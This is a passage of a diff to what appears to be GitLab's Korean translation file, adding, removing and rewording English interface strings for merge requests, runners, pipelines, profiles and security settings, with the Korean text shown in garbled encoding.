msgstr "머지 리퀘스트(MR)는 프로ì íŠ¸ì˜ 변경 ì‚¬í•­ì„ ì œì•ˆí•˜ê³  변경 ì‚¬í•­ì„ ë‹¤ë¥¸ 사람들과 ë…¼ì˜ í•˜ëŠ” 곳입니다."
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr "새 머지 리퀘스트(MR)"
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "새 비밀번호"
@@ -22866,6 +23216,9 @@ msgstr ""
msgid "New schedule"
msgstr "새 ì¼ì •"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "새 스니펫"
@@ -23061,6 +23414,9 @@ msgstr "파ì¼ì„ ì°¾ì„ ìˆ˜ 없습니다."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "머지 리퀘스트(MR)를 ì°¾ì„ ìˆ˜ 없습니다."
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "공개 ê·¸ë£¹ì´ ì—†ìŠµë‹ˆë‹¤."
@@ -23175,6 +23540,9 @@ msgstr "Runners ì—†ìŒ"
msgid "No schedules"
msgstr "ì¼ì • ì—†ìŒ"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr "프로í…íŠ¸ëœ ë¸Œëžœì¹˜ì—는 사용할 수 없습니다."
msgid "Not confidential"
msgstr "비밀 아님"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] "%dê°œì˜ ì¶”ê°€ ì•„ì´í…œ"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -23880,6 +24263,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr "열기"
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr "패스워드"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "비밀번호 (ì„ íƒ)"
@@ -24865,6 +25257,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,12 +25815,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
-msgstr ""
-
msgid "Pipeline|Variables"
msgstr "변수"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr ""
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -25834,7 +26229,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,8 +26511,8 @@ msgstr "%{provider} ì—°ê²° ëŠê¸°"
msgid "Profiles|Do not show on profile"
msgstr "í”„ë¡œí•„ì— í‘œì‹œí•˜ì§€ ì•ŠìŒ"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "í”„ë¡œí•„ì— í™œë™ ê´€ë ¨ ê°œì¸ ì •ë³´ 표시 안함"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "프로필 편집"
@@ -26137,13 +26532,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr "ìž˜ëª»ëœ ì‚¬ìš©ìžì´ë¦„"
msgid "Profiles|Key"
msgstr "키"
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr ""
msgid "Project name"
msgstr "프로ì íŠ¸ ì´ë¦„"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr "별표 해제"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "프로ì íŠ¸ í•œë„ì— ë„달했습니다."
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr "요구 사항"
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27400,6 +27819,9 @@ msgstr "승격"
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr "공개 - ì´ í”„ë¡œì íŠ¸ëŠ” ì–´ë–¤ ì¸ì¦ ì—†ì´ë„ 접근할 수 있ìŠ
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -27943,6 +28374,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "분기별"
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28157,9 +28597,6 @@ msgstr ""
msgid "Regex pattern"
msgstr "ì •ê·œ í‘œí˜„ì‹ íŒ¨í„´"
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr "회ì›ê°€ìž…"
@@ -28326,6 +28763,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "아바타 제거"
@@ -28362,6 +28805,12 @@ msgstr "카드 제거"
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28503,6 +28952,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "ì—픽 다시 열기"
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr "액세스 요청"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29028,6 +29507,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr "Runners 페ì´ì§€."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "보안"
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,7 +30663,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -30940,9 +31479,6 @@ msgstr ""
msgid "Sep"
msgstr "9ì›”"
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr "9ì›”"
@@ -31042,7 +31578,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr "서비스 URL"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "패스워드 설정"
-
msgid "SetStatusModal|Add status emoji"
msgstr "ìƒíƒœ ì´ëª¨ì§€ 추가"
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "설정"
@@ -31382,6 +31930,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr "ì…œë¡ íŠ¸ëžœì ì…˜"
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
